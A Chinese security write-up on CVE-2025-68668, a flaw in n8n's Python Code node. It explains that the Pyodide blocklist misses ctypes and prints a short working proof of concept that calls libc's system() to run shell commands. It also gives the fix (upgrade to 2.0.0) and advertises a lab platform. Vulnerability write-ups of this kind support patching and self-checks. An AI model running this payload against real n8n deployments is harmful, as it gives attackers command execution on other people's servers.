前言
今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号无关。
漏洞概述
n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。
漏洞原理
n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中:
img如果执行这样的代码:
import osos.system('ls')
是会被阻止的:
image-20260104161503537但黑名单中并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:
import ctypeslibc = ctypes.CDLL(None) libc.system(b'ls')
本地环境验证:
import ctypesimport oslibc = ctypes.CDLL(None)libc.system.argtypes = [ctypes.c_char_p]libc.system.restype = ctypes.c_intresult = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')return {"vulnerability": "SUCCESS"}
image-20260104162123099修复方法:立即升级到n8n 2.0.0或更高版本
复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。
image-20260104182631157
image-20260104183035709